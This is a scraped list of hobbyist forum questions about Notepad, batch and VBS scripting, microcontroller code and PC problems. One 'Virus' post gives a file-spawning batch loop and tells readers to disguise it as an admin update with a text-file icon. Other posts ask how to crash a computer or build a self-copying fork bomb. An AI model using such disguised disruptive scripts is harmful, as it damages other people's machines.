how do you make a picture pop up using notepad and saving it as a .vbs file?

I am trying to figure out how to make a picture pop up using notepad and saving it as a .vbs file?how do you make it pop up after this script code:dim answeranswer=MsgBox("hello",16,"hello")answer=MsgBox("how are you", 16,"hello")*selected picture*answer=MsgBox("yes", 16,"hello")using notepad and saved as a .vbs file.Your help will be greatly appreciated.

Question by salvador13   |  last reply



What are all the command lists used in Notepad?

Hi, I am Newbie to Profession.  I was wondering if anyone have knowledge about coding in notepad. Can you post all the command lists used in notepad? If you do, please seperate them. for e.g. Batch - echo vbs DO LOOP And also can you show me an example of how it is used?

Topic by Newbie To Profession   |  last reply


How can I program my computer to type data from notepad? Answered

Basically, I need to type data from a notepad file to a program that only input data that you type from a key broad. The hardiest thing is that the data is created by excel so it look something like this: A B C D E F G H I J K L But I need it to type like this: A¶B¶C¶D¶E¶F¶G¶H¶I¶J¶K¶L¶ So my question is: is it possible to program my computer to do so or it is just impossible?

Question by Shizen   |  last reply


collate notepad file to excel file?

Basically i use to collate the data with the help of this batfile command as below copy *txt link.xls i need a help to copy the numbers of txt file to collate in a single excel file with the below specifictions. I have number of text file that text files has its repective name,what i want to do is to collate the set of text files to a single excel file with the column to be added in the excel file with the respective text file names.

Question by mayking4k   |  last reply


Can you get a funny message box to open when internet explorer starts using notepad? Answered

I want to know if this is possible and if it is how 

Question by antrobus   |  last reply


how to crash a computer

I have gone to notepad and typed the crash code but no results  (start>all programs>accessories>notepad)

Question by yudah   |  last reply


compiler wont compile, cant figure out the errors, help please? Answered

I have a problem programming my stealth USB caps locker (link )  the PCB is ready, the components soldered on, and ive made connections to my ghetto programmer. now, i opened programmers notepad and wanted to program it, but now it just gives a whole load of errors: > "make.exe" program Linking: main.elf avr-gcc -mmcu=attiny45 -I. -g -Os -funsigned-char -funsigned-bitfields -fpack-struct -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=main.o  -std=gnu99 main.o   --output main.elf -Wl,-Map=main.map,--cref -lm main.o: In function `usbFunctionSetup': I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:108: undefined reference to `usbMsgPtr' I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:108: undefined reference to `usbMsgPtr' I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:115: undefined reference to `usbMsgPtr' I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:115: undefined reference to `usbMsgPtr' main.o: In function `main': I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:211: undefined reference to `usbInit' I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:215: undefined reference to `usbPoll' I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:222: undefined reference to `usbTxLen1' I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:224: undefined reference to `usbSetInterrupt' main.o: In function `calibrateOscillator': I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:150: undefined reference to `usbMeasureFrameLength' I:\portableapps\programmers notepad\programma's\CapsLocker/main.c:160: undefined reference to `usbMeasureFrameLength' make.exe: *** [main.elf] Error 1 > Process Exit Code: 2 > Time Taken: 00:01 i believe its a problem with the makefile, but i cant find out what it is anyway. heres the complete zip file: zip file the makefile in that zip doesnt work (for me) so i use one of another program, and with that i get the errors placed above. if you need that makefile, please leave a reply, il try to get it online.

Question by godofal   |  last reply


Everything works except icons show up as word document?

I opened paint.net with notepad and it made everything notepad so i checked properties and it said .lnk so i searched it up (opened google chrome was pinned to taskbar so it worked) and i downloaded some lnk  fixer and now everything works but the icons are still word document icons and its confusing

Question by OrIsIt   |  last reply


i am making a password generator for cld, and i need to know how to have cmd choose from a random set of words. thanks.

Here is my code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ title password generator xl color 0a @echo off :suggestions cls echo suggestions: echo here are suggestions for getting a good password: echo -when it asks your name, try a 4 letter name, shorten yours, or use 1 from tv. echo -when it gives your password, press enter until you get one with 3 numbers. pause goto notes :notes cls echo notes: echo --pressing enter at the end will only change the numbers, not the letters. echo --you can get a password with up to five numbers-- echo --if you dont like your password, try again-- pause goto prt1 :prt1 cls echo what is your name? set /p name= goto prt2 :prt2 cls echo are you a boy or a girl? set /p gend= if %gend% == boy goto boyy if %gend% == girl goto girll :girll cls echo favorite fruit out of these? (type letter of choice) echo a. apple echo b. banana echo c. cherry echo d. strawberry echo e. blackberry echo f. cranberry echo g. lemon echo h. lime echo i. kiwi echo j. raspberry set /p fruit= if %fruit% == a goto apple if %fruit% == b goto banana if %fruit% == c goto cherry if %fruit% == d goto strawberry if %fruit% == e goto blackberry if %fruit% == f goto cranberry if %fruit% == g goto lemon if %fruit% == h goto lime if %fruit% == i goto kiwi if %fruit% == j goto raspberry :boyy cls echo favorite fruit out of these? (type letter of choice) echo a. apple echo b. banana echo c. cherry echo d. strawberry echo e. blackberry echo f. cranberry echo g. lemon echo h. lime echo i. kiwi echo j. raspberry set /p fruit= if %fruit% == a goto apple1 if %fruit% == b goto banana1 if %fruit% == c goto cherry1 if %fruit% == d goto strawberry1 if %fruit% == e goto blackberry1 if %fruit% == f goto cranberry1 if %fruit% == g goto lemon1 if %fruit% == h goto lime1 if %fruit% == i goto kiwi1 if %fruit% == j goto raspberry1 :apple cls echo %name%paris%random% pause goto apple :banana cls echo %name%nabie%random% pause goto banana :cherry cls echo %name%rabs%random% pause goto cherry :strawberry cls echo %name%sifty%random% pause goto strawberry :blackberry cls echo %name%rafty%random% pause goto blackberry :cranberry cls echo %name%risty%random% pause goto cranberry :lemon cls echo %name%rifty%random% pause goto lemon :lime cls echo %name%lissy%random% pause goto lime :kiwi cls echo %name%sest%random% pause goto kiwi :raspberry cls echo %name%bera%random% pause goto raspberry :apple1 cls echo %name%pelt%random% pause goto apple1 :banana1 cls echo %name%nabe%random% pause goto banana1 :cherry1 cls echo %name%rabb%random% pause goto cherry1 :strawberry1 cls echo %name%sift%random% pause goto strawberry1 :blackberry1 cls echo %name%raft%random% pause goto blackberry1 :cranberry1 cls echo %name%rist%random% pause goto cranberry1 :lemon1 cls echo %name%rift%random% pause goto lemon1 :lime1 cls echo %name%rask%random% pause goto lime1 :kiwi1 cls echo %name%swerv%random% pause goto kiwi1 :raspberry1 cls echo %name%silge%random% pause goto raspberry1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ as you can see, i need to have cmd choose from a random set of names for each fruit. because i dont want it to be the same every time and i want this to be my ultimate batch program!!

Question by Tyler14414 


Batch. Reading multiple lines from a text file? Answered

I created a batch file, everytime it runs it saves a name and date to a log (log.txt). So everytime it gets more and more lines. I want to know how to read all the lines from File.txt (in another Batch file). my current script is: @echo off set /p txt= > File.txt set /p txt2= >> File.txt set /p txt3= >> File.txt set /p txt4= >> File.txt set /p txt5= >> File.txt 'and so on echo %txt% echo %txt1% echo %txt2% echo %txt3% echo %txt4% echo %txt5% Every time i run it, it says "did not expect >>" Please help

Question by animan1   |  last reply


why husbands travel itenirary on his notepads...i think he edited this...it had qv2 it it and now it is completely gone?

 gone from my email inbox with just codes and stuff such as ding ding inistate headlines etc...

Question by sonny44   |  last reply


how to open two word files in command prompt

How do i open two word files using notepad-batch files.if i write it without something between the two words but it doesn't work. what do i write between the words

Topic by thermoelectric   |  last reply


Unzip Program? Answered

I had winzip something and it was lame, I don't want to buy it and it has a bunch of buttons and stuff.  Is there an unzip program that lets me just select multiple zip folders and drop them all into a folder, with an easy left click, like notepad ++ which has an edit option on all the file sub menus.  I remember back in the day with XP, i believe it had a really good unzip thing.

Question by jj.inc   |  last reply


Name + number telephone save to MP3 player?

Dear All..  Please could you help me to know : It possible save name and number telephone from NOTEPAD or other from (my computer) to MP3 player ( please see my MP3 on picture) If yes  please show me where to find it on Google  and if easy please point me.Thank you so much in advance for your time and hope you will help me.                                                                  Best regards                                                                                lam

Question by lam   |  last reply


Hey i was wondering is there a way to make a USB memory stick print when inserted or from autorun menu?

Hey i was wondering is there a way to make a USB memory stick print when inserted or from autorun menu, as in a .txt document i know the command (notepad /p NAME.txt) but i dont quite know how to put it in to a autorun file, also whats the difference between .ini and .inf?

Question by Fox-san48   |  last reply


ATmega16 Problem with ADC code?

I have got an Atmega16, only that, and I wanted to program it so I made the simplest parallel programmer for it. Now I want to read analog input on it and present it on a 7seg display. Ive written the program for the display but I just cant understand how to get the values from ADC and how to connect it. Taking millions of tutorials have fried my brain a bit more.  Please help, write the code with comments so that I know what is actually happening. I use Programmer's Notepad with AVRdude. Thats it.    ok i'l post my code later

Question by pro2xy 


Virus

I did this at school. Open notepad, copy and paste this, then save it as Admin update.bat & then when you've saved it, create a shortcut then hide the original file. After that, change the icon to the one that looks like the .txt file(i am not responsible for what you do with this):@echo off:1set title=%random%@echo off>%title%.bat:1>%title%.batset title=%random%>%title%.bat@echo off>%title%.bat>%title%.bat:1>%title%.bat>%title%.batset title=%random%>%title%.bat>%title%.batgoto 1>%title%.batgoto 1

Topic by krujh2   |  last reply


How to connect physical pushbuttons to a computer for use in a soundboard program?

I plan to do a project that will use 28 arcade style pushbuttons to activate 28 different sounds on a computer. Any ideas on products out there I can use to connect all 28 buttons to a computer, preferably with a USB cable, so it can be used in a programming language such as C++? One idea I had was to take apart a QWERTY keyboard, but I still want to be able to use my regular keyboard to use my computer. Alternatively, is there a way for two keyboards to be connected to same computer, but one of them only activates a specific program? i.e. trying to type in notepad with it wouldn't work?

Topic by Swordmasterb   |  last reply


How to create a batch file dat would a keep on copying itself?I also wanna know the commands to disable mouse&keyboard?

Hi, i would be glad to know..... i luv this site fr everything it offers. I need help and dont know where else to go. So, i need to know hoe to create a batch file ( through notepad saved as .bat) that would automatically copy itself over ones pc, not just in that folder, i know that it would be a fork bomb. I also do need to know the command ffor disabling mouse & keyboard. Or seperate command for each one of them. GLAD TO BE HELPED.......

Question by Terrypard   |  last reply


ATmega16 ADC...I have got an Atmega16, only ATmega16, and I wanted to program it so I made the simplest parallel progra Answered

ATmega16 ADC...I have got an Atmega16, only ATmega16, and I wanted to program it so I made the simplest parallel programmer for it. Now I want to read analog input on it and present it on a 7seg display. Ive written the program for the display but I just cant understand how to get the values from ADC and how to connect it. Taking millions of tutorials have fried my brain a bit more.  Please help, write the code with comments so that I know what is actually happening. I use Programmer's Notepad with AVRdude. Thats it.

Question by pro2xy   |  last reply


pic 16f690 ADC setup- solved

Hi, i'm trying to get the ADC module on the 16f690 operational. The analog input is on A0, and is variable between 0V and about 1.8V. The result is just displayed in the format it comes out of the converter on 8 LED's (all tested and functional) on C0 to C7. When I run the code, it continuously displays '10001100xx'  (the two least significant bits are not displayed, so are unknown) The .asm file attatched (will open in notepad) compiles ok, with no errors, and the warnings about the correct bank have been checked. The configuration used is as follows: INTOSCIO oscillator: I/O on A4, A5 WDT disabled PWRT disabled MCLR tied to VDD, I/O on MCLR pin code protection disabled BOR disabled internal/external switchover mode disabled fail safe clock monitor disabled Thanks for any help.

Topic by The Skinnerz   |  last reply


Batch Code variables?

So, I have been making a "OS" in Batch recently, and i am working on the main menu. it all works fine on the first variable, but when i type in anything else, (anything on the keyboard) it comes up with just the first variable. Anyone got any ideas for fixes? here's the code: ========================= @echo off :MMlauncher title Main_Menu echo Welcome to DolphOS! echo What would you like to do? echo. echo 1 File Explorer echo 2 Games echo 3 Notepad echo 4 Clock echo 5 Close DolphOS set /p programs=Enter number here: if%programs%==1 goto FeLauncher if%programs%==2 goto GMSLauncher if%programs%==3 goto NtpdLauncher if%programs%==4 goto ClkLauncher if%programs%==5 goto ShtDwn :FeLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching F ping localhost -n .15 >nul cls echo launching Fi ping localhost -n .15 >nul cls echo launching Fil ping localhost -n .15 >nul cls echo launching File ping localhost -n .15 >nul cls echo launching File ping localhost -n .15 >nul cls echo launching File e ping localhost -n .15 >nul cls echo launching File ex ping localhost -n .15 >nul cls echo launching File exp ping localhost -n .15 >nul cls echo launching File expl ping localhost -n .15 >nul cls echo launching File explo ping localhost -n .15 >nul cls echo launching File explor ping localhost -n .15 >nul cls echo launching File explore ping localhost -n .15 >nul cls echo launching File explorer ping localhost -n .15 >nul cls echo launching File explorer. ping localhost -n .15 >nul cls echo launching File explorer.. ping localhost -n .15 >nul cls echo launching File explorer... ping localhost -n .15 >nul cls echo launching File explorer... ping localhost -n 5 >nul cls echo launching File explorer... cls C:\users\Harrison\Documents\DolphOS\FeLauncher :GMSLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching G ping localhost -n .15 >nul cls echo launching Ga ping localhost -n .15 >nul cls echo launching Gam ping localhost -n .15 >nul cls echo launching Game ping localhost -n .15 >nul cls echo launching Games ping localhost -n .15 >nul cls echo launching Games ping localhost -n .15 >nul cls echo launching Games. ping localhost -n .15 >nul cls echo launching Games.. ping localhost -n .15 >nul cls echo launching Games... ping localhost -n .15 >nul cls echo launching Games ping localhost -n 5 >nul cls :NtpdLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching N ping localhost -n .15 >nul cls echo launching No ping localhost -n .15 >nul cls echo launching Not ping localhost -n .15 >nul cls echo launching Note ping localhost -n .15 >nul cls echo launching Notep ping localhost -n .15 >nul cls echo launching Notepa ping localhost -n .15 >nul cls echo launching Notepad ping localhost -n .15 >nul cls echo launching Notepad. ping localhost -n .15 >nul cls echo launching Notepad.. ping localhost -n .15 >nul cls echo launching Notepad... ping localhost -n 5 >nul cls ====================== thanks in advance,  -ThePuppet

Question by Fred the evil puppet   |  last reply


"Unextract" Converted Batch Files

Have you ever wondered how to do something in batch that someone has already done and wrapped it nicely in a little .exe file? Some people like to keep their batch programming secrets to themselves, and don't want to share, so then convert their batch file to .exe. But you can't discover their secrets if they have converted it to .exe, because all you will find is gibberish. Before I will tell you how to "unextract" an .exe, you must now how ".bat to .exe" programs work. What they basically do is "wrap" a batch file with an executable; think about a Christmas present. Pretend the gift inside is the secrets of the batch file, and the wrapping on the outside is like the executable, which prevents you from "seeing" the secrets inside. But this is no ordinary present, the wrapping on the outside can not be torn or opened, you must press a button in order to to "unwrap" it. But when it "unwraps", it shows you what it is, but hiding the secrets. If you couldn't fully understand that, here is what actually happens. Try to compare the two.Batch files in executable form cannot be viewed as the batch language. If you open it in notepad, you will get a whole bunch of symbols. In the philosophy above, pressing the "button" is the same as opening the file as an executable. It opens just like a batch file, but if you try to edit it, you won't be able to read it. What the executable does, is temporarily extracts the batch file within it, to a temp folder.Now to the "how to" part. Here is where that "temp" (temporary) folder is: %userprofile%\Local Settings\TempNow all you have to do is copy and paste that into a windows explorer address bar. You will now be in a temp folder where the batch file will be dumped. Now you have to run the .exe file. But now you do have to get your hands dirty (virtually!). Search in each folder till you find a batch file, most commonly called batchfile.bat. Simply right click, press edit, and your in!So that's how to "unextract" a converted batch file! (note: I didn't make it an instructible because, well, no one likes a one step instructable!)Good Luck!

Topic by Arbitror   |  last reply


Why less memory usage with more memory??

So.... seandogue uses a circa 1995 2005  (doh!) computer as his main desktop workstation (he also has a nearly brand spankin new superduperree laptop, but it's just not gertrude, if you know what i mean...) Anyway... My computer is old, yes, but relatively solid. A bit sketchy since it's XP but whatever. The issue is memory and memory usage. I just added a pair of 2G modules to boost it's effective memory from 2 to 3 G. )XP old and only acknowledge s the first 3 even though my machine can accept up to 8G Prior to the upgrade, my initial memory usage upon completion of windows load (desk is up and no more hourglass backgroundy stuff) usage was about 800M, prior to loading any "actionable" software (Ie, ignoring the sundry processes and applications that run automatically after on at boot...I mean programming IDEs, notepads, calculators, email, browsers, photoshop, cad progs, winamp, labview, music comp, etc.)  And now? darn if my baseline  memory load hasn't dropped over 60%, down to ~490M So. what gives, ibles-sages? Me, I'm stumped (seriously) .At first, I thought to myself, 'hrrrrm... maybe it has something to do with swapping...', but then almost immediately I discounted that, since I hadn't reached threshold for swap to engage. Then I thought,  "Is it possible there was damage on the 1G chips that would go unrecognized  but would cause memory load to be higher than it should have been? Are newer modules more efficient or something?" To add to the confusion, it *seems (I haven't done any serious forensics and really don't want to have to) . applications of various sorts seem to take less memory as well. Then I came here. kinda tired of hashing out every single solution all by my lonesome and I'm hoping someone will be able to clear that confusion up with an authoritative response. Just doesn't make sense to me why my load would drop by such a significant amount, and I'm really and truly tired as hell of speculating and of speculation.. Speculation eats time like dime store candy surrounded by a hundred hungry children. and it more often than not produces erroneous output.. (no, not looking to debate the efficacy of speculation either, My best feature is the ability to speculate, and it pays to know how, but even I get tired of living in a nebula of "there is no like right like answer" 100% of the time.) So heps a mind-worn joe, aye?  Someone please tells me in no uncertain terms why this is? >>>>  More memory added, less memory used? I really don't want to launch another google search that may or may not  yield the answer after reading a few hundred erroneous or misleading posts. To be very clear, the system is behaving BETTER, not WORSE, with the new modules, even when operating at quiescence, where max memory overruns (and the subsequent swapping that such overruns spur) aren't an issue.  thanks gracias danka...

Question by seandogue   |  last reply